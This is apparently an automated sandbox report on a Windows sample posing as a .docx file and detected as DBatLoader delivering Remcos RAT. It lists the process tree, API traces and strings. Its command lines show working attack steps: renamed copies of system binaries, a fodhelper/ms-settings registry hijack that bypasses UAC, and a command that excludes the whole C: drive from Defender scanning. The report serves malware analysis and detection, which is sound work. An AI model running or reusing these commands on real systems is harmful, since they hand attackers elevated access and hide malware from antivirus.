Start time:	02:56:48
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe"
Imagebase:	0x400000
File size:	1'085'440 bytes
MD5 hash:	B9DA5A47E1E68EF90C075DC14F8E2037
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:56:53
Start date:	03/07/2024
Path:	C:\Users\Public\Libraries\drbdmeyP.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\drbdmeyP.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:56:53
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif"
Imagebase:	0x7ff7b1750000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:56:53
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:56:53
Start date:	03/07/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
Imagebase:	0x7ff669ec0000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:56:53
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:56:53
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:56:54
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:56:54
Start date:	03/07/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
Imagebase:	0x7ff669ec0000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:56:55
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:56:55
Start date:	03/07/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
Imagebase:	0x7ff669ec0000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:56:55
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:56:55
Start date:	03/07/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
Imagebase:	0x7ff669ec0000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:56:55
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:56:55
Start date:	03/07/2024
Path:	C:\Users\Public\xkn.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
Imagebase:	0x7ff6c8910000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:56:57
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:56:57
Start date:	03/07/2024
Path:	C:\Users\Public\ger.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
Imagebase:	0x7ff7e0a00000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:56:58
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe C:\\Users\\Public\\Libraries\\Pyemdbrd.PIF
Imagebase:	0xc20000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:56:58
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\colorcpl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\colorcpl.exe
Imagebase:	0x630000
File size:	86'528 bytes
MD5 hash:	DB71E132EBF1FEB6E93E8A2A0F0C903D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	02:57:03
Start date:	03/07/2024
Path:	C:\Windows \System32\per.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Windows \\System32\\per.exe"
Imagebase:	0x7ff6ef4b0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:57:06
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:57:06
Start date:	03/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM SystemSettings.exe
Imagebase:	0x7ff7c6b00000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	02:57:06
Start date:	03/07/2024
Path:	C:\Windows\System32\SystemSettingsAdminFlows.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
Imagebase:	0x7ff71c770000
File size:	519'080 bytes
MD5 hash:	5FA3EEF00388ED6344B4C35BA7CAA460
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	02:57:07
Start date:	03/07/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
Imagebase:	0x7ff64b560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	20.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	16

Executed Functions

Function 0299DAA4 Relevance: 236.3, APIs: 15, Strings: 115, Instructions: 8814COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,029A8D49,?,?,00000000,00000000), ref: 0299DAD2

Part of subcall function 02997E14: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02997F0D), ref: 02997E4C
Part of subcall function 02997E14: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02997F0D), ref: 02997E5A
Part of subcall function 02997E14: GetProcAddress.KERNEL32(75370000,00000000), ref: 02997E73
Part of subcall function 02997E14: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000,00000000), ref: 02997EE2
Part of subcall function 02997E14: FreeLibrary.KERNEL32(75370000,00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000), ref: 02997EED

Part of subcall function 0299CD74: GetTickCount.KERNEL32 ref: 0299CD82
Part of subcall function 0299CD74: Sleep.KERNEL32(00000000,?,0299DCF4,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,Initialize), ref: 0299CD94
Part of subcall function 0299CD74: GetTickCount.KERNEL32 ref: 0299CD99

Part of subcall function 0299D8C4: GetModuleHandleW.KERNEL32(KernelBase,?,0299DD01,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,Initialize), ref: 0299D8CA
Part of subcall function 0299D8C4: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0299D8DC

Part of subcall function 0299D920: GetModuleHandleW.KERNEL32(KernelBase), ref: 0299D930
Part of subcall function 0299D920: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0299D942
Part of subcall function 0299D920: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0299D959

Part of subcall function 0299D9A4: GetModuleHandleW.KERNEL32(ntdll), ref: 0299D9B4
Part of subcall function 0299D9A4: GetProcAddress.KERNEL32(00000000,ZwQueryInformationProcess), ref: 0299D9C6
Part of subcall function 0299D9A4: NtQueryInformationProcess.NTDLL(FFFFFFFF,00000007,?,00000004,?,00000000,ZwQueryInformationProcess,ntdll), ref: 0299D9E5

Part of subcall function 0299DA24: GetModuleHandleW.KERNEL32(ntdll), ref: 0299DA34
Part of subcall function 0299DA24: GetProcAddress.KERNEL32(00000000,ZwQueryInformationProcess), ref: 0299DA46
Part of subcall function 0299DA24: NtQueryInformationProcess.NTDLL(FFFFFFFF,0000001F,?,00000004,?,00000000,ZwQueryInformationProcess,ntdll), ref: 0299DA65

Part of subcall function 02987E20: GetFileAttributesA.KERNEL32(00000000,?,0299E793,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,ScanString,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,UacInitialize), ref: 02987E2B

Part of subcall function 0298C2F4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,?,?,0299EAC5,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession), ref: 0298C30B

Part of subcall function 0299C898: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C968), ref: 0299C8D3
Part of subcall function 0299C898: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0299C968), ref: 0299C903
Part of subcall function 0299C898: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0299C918
Part of subcall function 0299C898: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0299C944
Part of subcall function 0299C898: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0299C94D

Part of subcall function 02987E44: GetFileAttributesA.KERNEL32(00000000,?,029A1920,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,Initialize), ref: 02987E4F

Part of subcall function 02987FD8: CreateDirectoryA.KERNEL32(00000000,00000000,?,029A1ABE,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,Initialize,029D7358,029A8D7C,ScanString,029D7358,029A8D7C), ref: 02987FE5

Strings

C:\Windows\System32\, xrefs: 0299E77E, 029A5644
SLLoadApplicationPolicies, xrefs: 029A7594
CreateProcessWithLogonW, xrefs: 029A80C5
NtDeviceIoControlFile, xrefs: 029A8011
NtQueryInformationThread, xrefs: 029A8570
NtAlertResumeThread, xrefs: 029A7C9D
psapi, xrefs: 029A807F
RtlCreateQueryDebugBuffer, xrefs: 029A7D69
[InternetShortcut], xrefs: 029A4A23
URL=file:", xrefs: 029A4A32
IconIndex=, xrefs: 029A4A86
MiniDumpReadDumpStream, xrefs: 029A69F6
EnumServicesStatusExW, xrefs: 029A806B
NtAccessCheck, xrefs: 029A86A2
WinHttp.WinHttpRequest.5.1, xrefs: 029A06C2
OpenSession, xrefs: 0299DB6B, 0299DC33, 0299E686, 0299E7A7, 0299E8B4, 0299E9CC, 0299EDA0, 0299EF3E, 0299F0E4, 0299F207, 0299F3A0, 0299F498, 0299F685, 0299F82B, 0299FB64, 0299FD92, 0299FF06, 029A0029, 029A01A7, 029A054D, 029A05D0, 029A06E8, 029A0800, 029A090C, 029A0B2A, 029A0C47, 029A0EE6, 029A0F62, 029A1177, 029A1317, 029A165C, 029A1812, 029A19B0, 029A1B46, 029A205B, 029A2153, 029A3314, 029A34AE, 029A364E, 029A37F3, 029A3967, 029A3BB7, 029A3C6B, 029A3F28, 029A409C, 029A44CA, 029A47A4, 029A4918, 029A4AAC, 029A4C5C, 029A5345, 029A554A, 029A5763, 029A5806, 029A5999, 029A5D61, 029A5FFD, 029A62FA, 029A63F2, 029A6583, 029A6716, 029A68BC, 029A6B31, 029A6E22, 029A6FA8, 029A7203, 029A7409, 029A75CD, 029A78BC, 029A796B, 029A7BAB, 029A7DA2, 029A7E9A, 029A834C, 029A8905
NtWaitForSingleObject, xrefs: 029A7D03
EnumProcessModules, xrefs: 029A807A
EnumServicesStatusW, xrefs: 029A804D
HotKey=, xrefs: 029A4BBA
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 029A418A
kernel32, xrefs: 029A817C, 029A81AF, 029A81E2, 029A8215, 029A8248, 029A827B, 029A82AE
UacUninitialize, xrefs: 029A1BF5, 029A1EE7
advapi32, xrefs: 029A69D3
wintrust, xrefs: 0299DF8E, 0299DFC1, 0299DFF4
psapi, xrefs: 029A77EB
ScanString, xrefs: 0299DC97, 0299DD3C, 0299DF01, 0299E016, 0299E1A7, 0299E338, 0299E5C1, 0299E702, 0299EC88, 0299F8A7, 0299FA46, 0299FE8A, 029A00A5, 029A0121, 029A043E, 029A0764, 029A0A2D, 029A0E6A, 029A129B, 029A14AB, 029A1564, 029A188E, 029A1A2C, 029A1C71, 029A3298, 029A3432, 029A3777, 029A3B3B, 029A41CD, 029A49B3, 029A4B28, 029A4BE0, 029A524D, 029A56E7, 029A5B4E, 029A6171, 029A6DA6, 029A7187, 029A7485, 029A7840, 029A7C27, 029A7E1E, 029A83C8
RetailTracerEnable, xrefs: 029A773B
VirtualAllocEx, xrefs: 029A8198
NtQuerySystemInformation, xrefs: 029A8002
CreateProcessW, xrefs: 029A8098
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 0299ECFE
RtlAllocateHeap, xrefs: 029A7CD0, 029A7D36
NtOpenFile, xrefs: 029A876E
EnumServicesStatusExA, xrefs: 029A805C
GET, xrefs: 029A07DB
SLGetSLIDList, xrefs: 029A752E
dbgcore, xrefs: 029A69E7, 029A69FB
FlushInstructionCache, xrefs: 029A8264
mssip32, xrefs: 0299E11F, 0299E152, 0299E185, 029A781E
WintrustAddActionID, xrefs: 0299DFAA
SLGetEncryptedPIDEx, xrefs: 029A84D7
ieproxy, xrefs: 0299DE79, 0299DEAC, 0299DEDF
CryptSIPGetSignedDataMsg, xrefs: 0299E16E
VirtualProtect, xrefs: 029A81CB
smartscreenps, xrefs: 0299E3C5, 0299E3F8, 0299E42B
bcrypt, xrefs: 0299E234, 0299E267, 0299E29A, 029A7949
TrustOpenStores, xrefs: 0299DF77
DllGetActivationFactory, xrefs: 0299E3E1
SxTracerGetThreadContextDebug, xrefs: 029A776E, 029A843E
DlpNotifyPreDragDrop, xrefs: 029A7AD9
C:\Users\Public\, xrefs: 029A3A68, 029A4CCC
GetProcessMemoryInfo, xrefs: 029A77D4
OpenProcess, xrefs: 029A81FE
http, xrefs: 029A04AE
.url, xrefs: 029A3A73
NtGetWriteWatch, xrefs: 029A850A
DllRegisterServer, xrefs: 0299DEC8, 0299E414
EtwEventWrite, xrefs: 029A87D4
LdrLoadDll, xrefs: 029A86D5
ntdll, xrefs: 029A69BF, 029A6A0F, 029A6A23, 029A7CB4, 029A7CE7, 029A7D1A, 029A7D4D, 029A7D80, 029A8521, 029A8554, 029A8587, 029A85BA, 029A85ED, 029A8620, 029A8653, 029A8686, 029A86B9, 029A86EC, 029A871F, 029A8752, 029A8785, 029A87B8, 029A87EB
Initialize, xrefs: 0299DB07, 0299EB90, 0299ED24, 0299EEC2, 0299F068, 0299F324, 0299F9CA, 0299FE0E, 029A02B8, 029A03C2, 029A0AA9, 029A0DDB, 029A10FB, 029A142F, 029A15E0, 029A1934, 029A1CED, 029A3556, 029A38EB, 029A3CE7, 029A3EAC, 029A3FA4, 029A4249, 029A444E, 029A53C1, 029A6079, 029A6A39, 029A7649, 029A79E7, 029A7F16, 029A82D0, 029A880D
can, xrefs: 029A22B6
CryptSIPVerifyIndirectData, xrefs: 0299E13B, 029A7807
BCryptVerifySignature, xrefs: 0299E21D, 029A7932
MZP, xrefs: 029A701E
Ntdll, xrefs: 029A8007, 029A8016, 029A8025, 029A8034
SLGatherMigrationBlob, xrefs: 029A84A4
SLGetGenuineInformation, xrefs: 029A74FB
CryptSIPGetInfo, xrefs: 0299E108
Advapi, xrefs: 029A8043, 029A8052, 029A8061, 029A8070, 029A80AC, 029A80BB, 029A80CA
NtOpenProcess, xrefs: 029A6A1E
tquery, xrefs: 029A7752
spp, xrefs: 029A7785, 029A77B8, 029A8455
DlpCheckIsCloudSyncApp, xrefs: 029A7B0C
NtQuerySecurityObject, xrefs: 029A866F
NtOpenSection, xrefs: 029A85A3
SLIsGenuineLocalEx, xrefs: 029A7561
NtSetSecurityObject, xrefs: 029A6A0A
WriteVirtualMemory, xrefs: 029A8231
VirtualAlloc, xrefs: 029A8165
DEEX, xrefs: 0299DAE0
DlpGetArchiveFileTraceInfo, xrefs: 029A7B3F
I_QueryTagInformation, xrefs: 029A69CE
UacScan, xrefs: 0299DBCF, 0299E44D, 0299E545, 0299EB14, 0299F701, 0299FCEA, 029A064C, 029A0D5F, 029A1F63, 029A21CF, 029A386F, 029A3DDF, 029A4020, 029A42C5, 029A43D2, 029A4630, 029A4728, 029A52C9, 029A566B, 029A5882, 029A5A15, 029A5C69, 029A60F5, 029A627E, 029A6376, 029A6507, 029A669A, 029A6840, 029A6AB5, 029A6CCF, 029A6EB0, 029A7049, 029A72FB, 029A80EF
BCryptRegisterProvider, xrefs: 0299E283
acS, xrefs: 029A22A3
C:\\Users\\Public\\Libraries\\, xrefs: 029A3E4F
CreateProcessAsUserW, xrefs: 029A80B6, 029A80D4
NtMapViewOfSection, xrefs: 029A8609
SetUnhandledExceptionFilter, xrefs: 029A8297
UacInitialize, xrefs: 0299DE04, 0299E4C9, 0299EC0C, 029A1FDF, 029A321C, 029A35D2, 029A3ABF, 029A55C6, 029A6BD7
NtReadVirtualMemory, xrefs: 029A863C
EtwEventWriteEx, xrefs: 029A87A1
ScanBuffer, xrefs: 0299DDA0, 0299E092, 0299E2BC, 0299E823, 0299E930, 0299EA48, 0299EE1C, 0299EFBA, 0299F160, 0299F283, 0299F41C, 0299F514, 0299F77D, 0299F923, 0299FAC2, 0299FBE0, 0299FC6E, 0299FF82, 029A0223, 029A0334, 029A04D1, 029A087C, 029A0988, 029A0BA6, 029A0CC3, 029A0FDE, 029A107F, 029A11F3, 029A13B3, 029A16D8, 029A1ACA, 029A1D69, 029A1E6B, 029A20D7, 029A3390, 029A36CA, 029A39E3, 029A3D63, 029A4118, 029A4341, 029A4546, 029A46AC, 029A4820, 029A489C, 029A543D, 029A54CE, 029A58FE, 029A5A91, 029A5BED, 029A5CE5, 029A6202, 029A646E, 029A65FF, 029A6792, 029A6938, 029A6C53, 029A6F2C, 029A70C5, 029A727F, 029A738D, 029A76C5, 029A7A63, 029A7F92, 029A8889
NtCreateSection, xrefs: 029A85D6
NtQueryDirectoryFile, xrefs: 029A8020
DlpGetWebSiteAccess, xrefs: 029A7B72
DllGetClassObject, xrefs: 0299DE62, 0299E3AE, 029A77A1, 029A8471
sppwmi, xrefs: 029A8488
CreateProcessA, xrefs: 029A8089
NtQueryVirtualMemory, xrefs: 029A853D
GetProxyDllInfo, xrefs: 0299DE95
CreateProcessAsUserA, xrefs: 029A80A7
NtWriteVirtualMemory, xrefs: 029A873B
sppc, xrefs: 029A7512, 029A7545, 029A7578, 029A75AB, 029A84BB, 029A84EE
Kernel32, xrefs: 029A808E, 029A809D, 029A80D9
endpointdlp, xrefs: 029A7AF0, 029A7B23, 029A7B56, 029A7B89
BCryptQueryProviderRegistration, xrefs: 0299E250
FindCertsByIssuer, xrefs: 0299DFDD
EnumServicesStatusA, xrefs: 029A803E
MiniDumpWriteDump, xrefs: 029A69E2
LdrGetProcedureAddress, xrefs: 029A8708
RtlQueryProcessDebugInformation, xrefs: 029A802F
NtOpenObjectAuditAlarm, xrefs: 029A69BA

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

